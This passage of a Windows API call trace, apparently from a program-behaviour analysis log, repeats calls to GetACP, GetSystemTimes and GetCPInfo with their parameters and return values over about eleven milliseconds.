GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.059] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.059] GetACP () returned 0x4e4 [0055.059] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.059] GetACP () returned 0x4e4 [0055.059] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.059] GetACP () returned 0x4e4 [0055.059] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.059] GetACP () returned 0x4e4 [0055.059] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.059] GetACP () returned 0x4e4 [0055.059] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.059] GetACP () returned 0x4e4 [0055.059] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.059] GetACP () returned 0x4e4 [0055.059] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.059] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.060] GetACP () returned 0x4e4 [0055.060] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.061] GetACP () returned 0x4e4 [0055.061] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.062] GetACP () returned 0x4e4 [0055.062] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.063] GetACP () returned 0x4e4 [0055.063] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.064] GetACP () returned 0x4e4 [0055.064] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.065] GetACP () returned 0x4e4 [0055.065] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.065] GetACP () returned 0x4e4 [0055.065] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.068] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.068] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.068] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.068] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.068] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.068] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.068] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.068] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.068] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.068] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, 